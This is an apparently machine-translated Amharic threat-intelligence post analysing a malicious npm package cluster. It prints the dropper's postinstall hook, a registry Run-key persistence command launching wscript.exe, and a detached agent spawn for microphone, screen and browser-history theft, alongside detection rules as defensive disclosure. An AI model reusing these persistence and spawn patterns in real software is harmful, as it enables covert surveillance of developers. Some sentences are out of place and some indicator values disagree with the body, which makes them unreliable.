TL; DR
ከኤፕሪል 1 እስከ ሜይ 3፣ 2026 ባለው ጊዜ ውስጥ፣ አንድ ነጠላ npm አሳታሚ፣ user0001, ያልተረጋገጠውን የጂሜይል አድራሻ ተጠቅሞ የተመዘገበ tanvisoul9@gmail.comሆን ተብሎ ግልጽ ያልሆኑ፣ የመሠረተ ልማት ስሞችን የያዙ ስድስት ፓኬጆችን በጸጥታ ገፋፋቸው፡ centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, እና node-env-resolve.
የቅርብ ጊዜዎቹ ሁለት ስሪቶች እ.ኤ.አ. node-env-resolve, 1.0.7 እና 1.0.8፣ በግንቦት 2 በXygeni's Malware Early Warning (MEW) ስርዓት ተጠቁመዋል እና በግንቦት 3 ተንኮል አዘል ተረጋግጧል።
የተተከለው ነገር ያልተለመደ ነው፡ የቴሌግራም ቦቶች የሉም፣ የOAST መልሶ ማገገሚያዎች የሉም፣ የለም አስከሬንእና በተጫነበት ጊዜ የAWS ምስክርነቶችን ለመያዝ ምንም ሙከራ የለም። በምትኩ፣ postinstall.js የዊንዶውስ ቡት-ቋሚነት ግቤት ይተክላል፣ የሚጀምር የHKCU Run ቁልፍን በመጠቀም wscript.exe ከVBS stub ጋር። ከዚያም የማይክሮፎን ቀረጻ፣ የአሳሽ-ታሪክ ስርቆት፣ የቅጽበታዊ ገጽ እይታ እና የመዳፊት/ኪቦርድ ማስመሰል ሞጁሎችን የሚያጠቃልል የተነጠለ የNode.js ወኪል ይፈጥራል።
ይህንን ክላስተር ብለን እንጠራዋለን ዴቭታፕከኪቱ በኋላ በገንቢው ማሽን ላይ ይሰራል።
ስድስቱም ፓኬጆች በተጻፈበት ጊዜ በnpm ላይ በቀጥታ ተሰራጭተዋል። ለመዝገብ ቤቱ የአላግባብ መጠቀም ቻናል አስገብተናል። ተከላካዮች ከአታሚው እስኪወገድ ድረስ ማንኛውንም ጭነቶች ማውጣት አለባቸው።
ክላስተር፡ ስድስት ፓኬጆች፣ አንድ አሳታሚ
የአሳታሚው መለያ user0001 ያልተረጋገጠ ነው። ምንም SCM ማረጋገጫ፣ ምንም አይነት በጎራ የተሳሰረ ኢሜይል እና ምንም አይነት የቀድሞ ታሪክ የለም። የጂሜይል አያያዝ tanvisoul9 በምናገኘው ሌላ የnpm አታሚ መዝገብ ላይ አይታይም።
ስድስቱም ፓኬጆች ተመሳሳይ አስተዳዳሪን ይዘረዝራሉ፣ ከተመሳሳይ መለያ የታተሙ እና ተመሳሳይ ያጋሩ ናቸው package.json የቦይለር ፕሌት። የለም repository, አይ homepageእና የለም description ከአንድ መስመር በላይ ይረዝማል።
የስያሜ ስትራቴጂው አስደሳች ክፍል ነው። ከጥንታዊ የጥገኝነት-ግራ መጋባት ወይም የፊደል አጻጻፍ ዘመቻ በተለየ፣ ከእነዚህ ስሞች ውስጥ አንዳቸውም የተወሰነ የላይኛው ላይብረሪ ኢላማ አላደረጉም። በምትኩ፣ ወደ እውነተኛ እንዲጠፉ የተስተካከሉ ናቸው። package.json or npm ls ውፅዓት.
| ጥቅል | የመጀመሪያው የታተመ | የቅርብ ስሪት | ስሪቶች | በክላስተር ውስጥ ሚና |
|---|---|---|---|---|
| ሴንተርሎገር | 2026-04-01 12:46 UTC | 1.0.9 | 5፣ ከ1.0.5 እስከ 1.0.9 | የክላስተር “የሎግ መገልገያ” ሽፋን፤ የመጀመሪያ እትም |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | አጠቃላይ የDOM-ረዳት ሽፋን |
| ኖድ-ፌች-ላይት | 2026-04-19 10:22 UTC | 1.0.2 | 3 | የሚሚክስ ኖድ-ፌች ቤተሰብ |
| አገናኝ-ወኪል | 2026-04-25 05:12 UTC | 1.0.0 | 1 | አጠቃላይ ስም "ወኪል" |
| የኖድ-ጂፕ-ሩጫ ጊዜ | 2026-04-25 05:17 UTC | 1.0.0 | 1 | ሚሚክስ ቤተኛ ሞዱል የግንባታ መሣሪያ |
| ኖድ-ኤንቪ-ፍቺ | 2026-04-25 05:21 UTC | 1.0.9 | 10፣ ከ1.0.0 እስከ 1.0.9 | አክቲቭ dropper፤ ሙሉ ተከላ |
እንደ centralogger, node-fetch-lite, እና node-gyp-runtime በኮድ ግምገማ ውስጥ አወዛጋቢ እንዳይመስሉ ተደርገው የተነደፉ ናቸው። በፕሮጀክቱ የጥገኝነት ዛፍ ውስጥ እንዳሉ ነገሮች ይመስላሉ።
ከአዲስ፣ ያልተረጋገጠ አሳታሚ እና የጎደሉ የማከማቻ አገናኞች ጋር ተዳምረው፣ ሊታወቅ የሚችል ንድፍ ይፈጥራሉ፡- ተዋናዩ ዝቅተኛ ግጭት ያላቸውን ስሞች ወደ መዝገቡ ውስጥ በማስገባት፣ ከዚያም አስፈላጊ በሆነው ላይ በፍጥነት ይደግማል። በዚህ ሁኔታ፣ node-env-resolve በስምንት ቀናት ውስጥ አስር ስሪቶችን ተቀብለዋል።
በዊንዶውስ ዴቭ ቦክስ ላይ ምን እንደሚወርድ
ተንኮል አዘል ሰንሰለት በ node-env-resolve:1.0.8 አጭር፣ ቀጥተኛ እና ለ npm RAT ያልተለመደ ባህሪ ያለው ነው።
ድህረ ጭነት፡ ጽናት እና የተገለለ ወኪል
package.json አንድ የመጫኛ መንጠቆ ያስታውቃል፡
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js ሶስት ነገሮችን በቅደም ተከተል ያደርጋል።
በመጀመሪያ፣ ከnpm ዛፍ ውጭ የመጫኛ ማውጫ ያዘጋጃል። መንገዱ በስክሪፕቱ ውስጥ በሚሰራበት ጊዜ ይሰላል እንደ INSTALL_DIRከዚያም ውስጣዊ execSync('npm install --production --silent ...') በውስጡ የተተከለውን የሩጫ ጊዜ ጥገኝነት ለመሳብ። ይህ ወኪልን በዲስክ ላይ አንድ ማኑዋል ያስቀምጣል node_modules ኦዲት አያገኝም።
ሁለተኛ፣ የVBS ማስጀመሪያ ይጽፋል እና ለቡት ጽናት ይመዘግባል፡
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe የዊንዶውስ ስክሪፕት አስተናጋጅ ሲሆን የሚሰራው የተፈረመ የማይክሮሶፍት ባይነሪ ነው። .vbs የኮንሶል መስኮት የሌላቸው ፋይሎች። ያ ቅድመ-ዝግጅት ነውcisለአውቶሩ ስቶቦች ተመራጭ የሆነው ለዚህ ነው።
እንዲሁም ተመሳሳይነት አለ reg delete ወደ ውስጥ የሚወስደው መንገድ src/index.jsይህም የተተከለው በኦፕሬተር ትዕዛዝ መሰረት በንፁህ መንገድ እንዲወገድ ተደርጎ የተነደፈ መሆኑን ይጠቁማል።
ሦስተኛ፣ የተገለለ የሕፃን ሂደትን ይፈጥራል፡
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })ሁለት ዝርዝሮች እዚህ ላይ አስፈላጊ ናቸው።
SERVER_URL ከአካባቢው የተነበበ ነው። በዚህም ምክንያት፣ የC2 የመጨረሻ ነጥብ በእያንዳንዱ ማሰማራት ሊዋቀር የሚችል ሲሆን በጥቅሉ ውስጥ አልተጋገረም። ያ ትንሽ ግን ሆን ተብሎ የተደረገ ምርጫ አብዛኛዎቹን የማይንቀሳቀሱ-IOC ን መዝለሎችን ያሸንፋል።
እንዲሁም፣ የተወለደችው ልጅ ሙሉ የወላጅ አካባቢን ይወርሳል። ስለዚህ፣ ማንኛውም NPM_TOKEN, AWS_*, GITHUB_TOKEN, ወይም በገንቢው ሼል ውስጥ ያለው የSSH-ወኪል ሶኬት በመጫኛ ጊዜ ውስጥ ወደ ለረጅም ጊዜ የቆየው የወኪል ማህደረ ትውስታ ይሄዳል።
ወኪሉ የሚያጓጉዘው ነገር
የተጠቀለለው src/ ዛፉ ስማቸው ብቻ ታሪኩን የሚናገሩ ሶስት ሞጁሎችን ያካትታል፡ audioCapture.js, browserHistory.js, እና systemInfo.js.
የሩጫ ጊዜ ጥገኝነት ዝርዝር፣ በዝግጅት ወቅት ተፈትቷል npm install፣ ያረጋግጣቸዋል።
ይህ አካሄድ የተዘበራረቀ ክስተትን ወደ ቁጥጥር የሚደረግበት ምላሽ ይለውጠዋል።
ቡድኖች በጭፍን ምላሽ ከመስጠት ይልቅ የሚሰሩት ግልጽ የሆነ ቅድሚያ መስጠት እና ፈጣን ማስተካከያ.
| ጥገኝነት | በዚህ አውድ ውስጥ ለምን ያስፈልጋል |
|---|---|
| ቅጽበታዊ ገጽ እይታ-ዴስክቶፕ | በየጊዜው የማያ ገጽ ቀረጻ |
| @ነት-ትሪ-ፎርክ/ነት-ጄኤስ | የመዳፊት እና የቁልፍ ሰሌዳ አውቶሜሽን / የግቤት ማስመሰል |
| better-sqlite3 | የ Chrome፣ Edge እና Firefox History SQLite የውሂብ ጎታዎች ቀጥተኛ ንባቦች |
| አድም-ዚፕ | ከማጣራቱ በፊት የተሰበሰቡ ቅርሶችን ማሸግ |
| ጥፍሮች | የቅጽበታዊ ገጽ እይታዎችን እና የምስል ቅርሶችን መጠን መቀየር/መጭመቅ |
| socket.io-client | የማያቋርጥ ባለሁለት አቅጣጫዊ C2 ቻናል |
| የኖድ-ማሽን-መታወቂያ | ለተጎጂዎች ክትትል የተረጋጋ የጣት አሻራ በአስተናጋጅ |
systemInfo.js ጥሪዎች os.networkInterfaces() ከመጀመሪያው ቢኮን በፊት ተጨማሪ የጣት አሻራ ለማግኘት።
የድምጽ ቀረጻው ለምን ጎልቶ የሚታይ ምልክት ነው
በMEW ውስጥ የምናያቸው አብዛኛዎቹ የ npm RATዎች በመጫኛ ጊዜ ሚስጥራዊ ስርቆት ይቆማሉ። ያነባሉ ~/.npmrc, ያንብቡ ~/.aws/credentials, ቧጨራ process.env፣ በድር መንጠቆ ላይ ለጥፈው ይውጡ። ይህ ለማጥቃት እና ለመያዝ የሚያስችል የኢኮኖሚ ሞዴል ይስማማል። የምስክር ወረቀቶች አጭር የግማሽ ዕድሜ አላቸው፣ እና አጥቂው በፍጥነት ገንዘብ ማግኘት አለበት።
node-env-resolve ቅርፅ የተለያየ ነው።
ጽናት ዳግም ማስነሳትን ለመቋቋም ተዘጋጅቷል። ወኪሉ ተነጥሎ ለረጅም ጊዜ ይቆያል wscript.exe. የያዘው ኪት በገንቢ ማሽን ላይ ለመገኘት እንጂ ለመያዝ እና ለመውጣት አይደለም፡ የማይክሮፎን መቅጃ፣ የቁልፍ ሰሌዳ/የመዳፊት ነጂ፣ ሙሉ የአሳሽ-ታሪክ ማስገቢያ፣ የማያ ገጽ ቀረጻ እና በይነተገናኝ የሶኬት.አይኦ ቻናል ወደ ሊዋቀር ወደሚችል C2 መመለስ።
በተለይም የማይክሮፎን ቀረጻ ይህ ዘመቻ አብዛኛው npm ማልዌር የማያልፈውን መስመር የሚያቋርጠው ነው።
የገንቢ ጣቢያ ከጊዜ ወደ ጊዜ ገንቢዎች የቆመበትን ቦታ፣ የደንበኞችን ጥሪዎች፣ የዲዛይን ውይይቶችን እና የጥሪ ድልድዮችን የሚወስዱበት የስራ ጣቢያ እየሆነ መጥቷል። ማይክሮፎኑን የሚቀዳ ተከላ የገንቢውን npm ቶከን ተከትሎ አይደለም። ገንቢው በላፕቶፑ ፊት ለፊት ካለው ነገር ጋር የሚስማማ ነው።
ያ የችሎታ ስብስብ፣ እንዲሁም የመደበቅ እጦት እና ምንም አይነት ብልጭልጭ የመጫኛ ጊዜ ማስወገጃ አለመኖር፣ ለታለመ መዳረሻ እንደ ቅድመ-አቀማመጥ ሳይሆን እንደ አጋጣሚ የምስክርነት ስርቆት ይቆጠራል።
ከዚህ ብቻ የመጣን የባለቤትነት ማረጋገጫ አንሰጥም። የአሠራር መገለጫውን እያስተዋልን ነው።

የስምንት ቀናት የድግግሞሽ ዝግጅት በ node-env-resolve በጊዜ ሰሌዳው ውስጥ በጣም ዝርዝር የሆነው የአሠራር ዝርዝር ነው።
ይህ ጠብታ ተኩስ አይደለም። አሳታሚው ጠብታውን በንቃት እየጠበቀ ነው፣ ይህም ብዙውን ጊዜ ከሁለት ነገሮች አንዱን ማለት ነው። ወይ ሰፊውን ስርጭት ከመጀመራቸው በፊት ከሙከራ አካባቢዎች ጋር እያስተካከሉት ነው፣ ወይም ደግሞ የመጫኛ ቴሌሜትሪ ተመልሰዋል እና ለእሱ ምላሽ እየሰጡ ነው።
ሌሎቹ አምስት ፓኬጆች ከመጀመሪያው ህትመት በኋላ ምንም አይነት ችግር አላጋጠማቸውም። ይህ ለድጋፍ ሰጪው ክላስተር “አንድ ጊዜ የተሰየመ ደረጃ” ንድፍ የሚስማማ ሲሆን የምህንድስና ጥረት ደግሞ ስራውን በሚያከናውነው ጥቅል ላይ ያተኩራል።
ባለቤትነት፡ ትናንሽ ፍንጮች፣ ምንም አይነት የፅኑ ውሳኔ የለም
ሕዝባዊ OSINT ምልክቶቹ ቀጭን ናቸው፣ እና አንዘረጋቸውም። የሚታየው ነገር፡
የጂሜይል መያዣ tanvisoul9 በከፊል የደቡብ እስያ ስም ካለው “ታንቪ” ጋር ይመሳሰላል። ይህ ደካማ ምልክት ነው። የጂሜይል መያዣዎች ማንነት አይደሉም፣ እና ተከታይ soul9 አጠቃላይ ነው። ጂኦግራፊን ከአካባቢያዊ ኢሜይል ብቻ መገመት አስተማማኝ አይደለም።
የኮድ ስታይል እጅግ አስደናቂ አይደለም Node.js: standard የቤተ-መጽሐፍት ጥሪዎች እንደ os, child_process, spawn, እና reg add. ምንም አይነት መደበቅ፣ የክር ሽክርክሪት እና ፀረ-ማረም አመክንዮ የለም። ደራሲው በዊንዶውስ መዝገብ ቤት የመጀመሪያ ደረጃዎች እና በተናጠል የልጅ-ሂደት አደረጃጀት ምቾት አለው፣ ነገር ግን ሊጠቀሙበት የሚችሉትን ሚስጥራዊ የንግድ ሥራ ለማግኘት እየሞከረ ያለ አይመስልም።
ጥገኝነት ሙሉ በሙሉ ከመደርደሪያ ላይ የወጣ ሲሆን በደንብ የሚታወቁ ናቸው፡ screenshot-desktop, nut-js, better-sqlite3, እና socket.io-client. ምንም ብጁ ፕሮቶኮል የለም፣ ከባዶ የሚሽከረከር C2 ቁልል የለም፣ እና ከመማሪያ መጽሐፍ ባሻገር አዲስ የጽናት ዘዴ የለም። የHKCU አሂድ ቁልፍይህ ብቃት ያለው ኢንተግረተር ነው፣ የመሳሪያ ደራሲ አይደለም።
በታተሙት ቅርሶች ውስጥ የእንግሊዝኛ ያልሆኑ ሕብረቁምፊዎች፣ የተካተቱ አስተያየቶች፣ የአካባቢ መረጃ ወይም የኮምፒለር-ውፅዓት የጊዜ ሰቅ አሻራዎችን አላገኘንም።
ከዚህ በፊት ከከታተልናቸው ዘመቻዎች ጋር የኮድ መደራረብ መኖሩን አረጋግጠናል፣ ይህም የሚከተሉትን ያካትታል ሻይ-ሁሉድ, ኦሊቪዮን, Buildkite, እና የቅርብ ጊዜ ሄይባይ / claude-code-best የአንትሮፒክ-CLI ክሎን ቤተሰብ። ምንም አላገኘንም፤ የተጋሩ የC2 ቅጦች፣ የተጋሩ የፋይል አቀማመጦች እና የተጋሩ ፈሊጦች የሉም።
የማንለው ነገር፡ ይህ የመንግስት ተዋናይ፣ የታወቀ ቡድን ወይም ከማንኛውም የተወሰነ ሀገር ጋር በጂኦግራፊያዊ መልኩ የተሳሰረ ነው ማለት አይደለም።
የአሠራር መገለጫው ከገንቢ-የስራ ቦታ ክትትል ከሚያደርግ አነስተኛ፣ መካከለኛ ችሎታ ካለው ቡድን ጋር የሚጣጣም ነው። ይህ ምናልባት በገንዘብ ተነሳሽነት የተደገፈ ሊሆን ይችላል፣ ነገር ግን ለተለየ ገዢ እንደ አገልግሎት የስለላ አገልግሎት ሊሆን ይችላል።
ሁለት ቀጥተኛ ያልሆኑ ነጥቦች የሚከተሉትን ይደግፋሉ፡- እንደ ቴሌግራም ቦቶች ያሉ ክላስተሩን በፍጥነት የሚያቃጥሉ ትኩረትን የሚስቡ የማጣሪያ ሜካኒኮችን ማስወገድ፣ oastify.comወይም ካናሪቶከንስ፣ እና ሆን ተብሎ ለስላሳ የሆኑ የጥቅል ስሞች፣ ይህም ለአጭር ጊዜ ከፍተኛ መጠን ባለው ጭማሪ ላይ ጸጥ ያሉ ረጅም ጭራዎችን የሚመርጡ ናቸው።
የመደራደር እና የመለየት አመላካቾች
| ፓኬጆች እና አሳታሚ | |
|---|---|
| መስክ | ዋጋ |
| የኤንፒኤም አሳታሚ | user0001 |
| የአሳታሚ ኢሜይል | tanvisole9@gmail.com፣ ያልተረጋገጠ |
| ጥቅሎች | centrallogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| ተንኮል አዘል መሆኑ ተረጋግጧል | node-env-resolve@1.0.7፣ node-env-resolve@1.0.8 |
| ቅርሶችን ማስተናገድ | |
|---|---|
| ዓይነት | ዋጋ |
| የጽናት ቁልፍ | HKCU\ሶፍትዌር\ማይክሮሶፍት\ዊንዶውስ\CurrentVersion\Run |
| የጽናት እሴት | ተለዋዋጭ ስም፤ የ wscript.exe "ቅጽ ውሂብ \\ ".ቪቢኤስ" |
| መንጠቆውን ይጫኑ | postinstall: node postinstall.js በጥቅሉ ዝርዝር ውስጥ |
| የተተከሉ ሞጁሎች | src/audioCapture.js፣ src/browserHistory.js፣ src/systemInfo.js |
| የማጣሪያ ማውጫ | INSTALL_DIR ከፕሮጀክቱ node_modules ውጭ ተፈትቷል፤ ቦታው በ postinstall.js በመጫኛ ጊዜ ተዘጋጅቷል |
| አውታረ መረብ | |
|---|---|
| ዓይነት | ዋጋ |
| የC2 ትራንስፖርት | socket.io-client፣ የማያቋርጥ ባለሁለት አቅጣጫ ቻናል |
| የC2 የመጨረሻ ነጥብ | ለወኪሉ በSERVER_URL የአካባቢ ተለዋዋጭ በኩል የቀረበ፤ በታተሙ ቅርሶች ላይ ጠንካራ ኮድ የተደረገበት አይደለም |
የክትትል ማስታወሻዎች
ሁለት ደንቦች ይህንን ቤተሰብ የሚይዙት የC2 የመጨረሻ ነጥብ ሳያስፈልጋቸው ነው።
በመጀመሪያ፣ ውስጣዊ ተግባር የሚያከናውኑ የድህረ-ጫና ስክሪፕቶችን ይጠቁሙ npm install ከጥቅሉ ማውጫ ውጭ ወዳለ መንገድ። እንደ ማንኛውም ህጋዊ የቅድመ-ግንባታ ማውረጃ፣ node-gyp እንደገና መገንባት ወይም አስቀድሞ የተገነቡ ሁለትዮሽ ማውረጃዎችን፣ በጥቅሉ ውስጥ ወይም ወደ መድረክ መፃፍstandard የተረጋገጡ ሃሾች ያላቸው የመሸጎጫ መንገዶች። አዲስ በተፈጠረ ውስጥ አይጻፍም። INSTALL_DIR በሌላ ቦታ በዲስክ ላይ።
ሁለተኛ፣ ችግር ያለባቸውን የድህረ-ጭነት ስክሪፕቶችን ይጠቁሙ reg add HKCU\…\Run ጋር wscript.exe እንደ ማስጀመሪያ። ይህ በመሠረቱ ከnpm ጥቅል ፈጽሞ ህጋዊ አይደለም። ምልክት ያድርጉበት እና ያግልሉት።
ሶስተኛ ሂዩሪስቲክ ቀጣዩን የወንድም/እህት ጥቅል ከመረጋገጡ በፊት ለመለየት ጠቃሚ ነው፡ አዲስ የ npm አታሚ ምንም የሌለው SCM ማረጋገጫ፣ የጂሜይል ኢሜይል፣ የለም repository መስክ፣ እና በርካታ አጭር፣ ሁሉን አቀፍ፣ እና በጥቂት ቀናት ውስጥ እርስ በእርስ የታተሙ የመሠረተ ልማት የሚመስሉ የጥቅል ስሞች፣ በራሱ፣ በእጅ የሚደረግ ግምገማን ለማረጋገጥ በቂ ናቸው።
ለnpm መዝገብ ቤት ሪፖርት ተደርጓል። የአታሚው መለያ ሲወገድ ይህንን ልጥፍ እናዘምነዋለን።






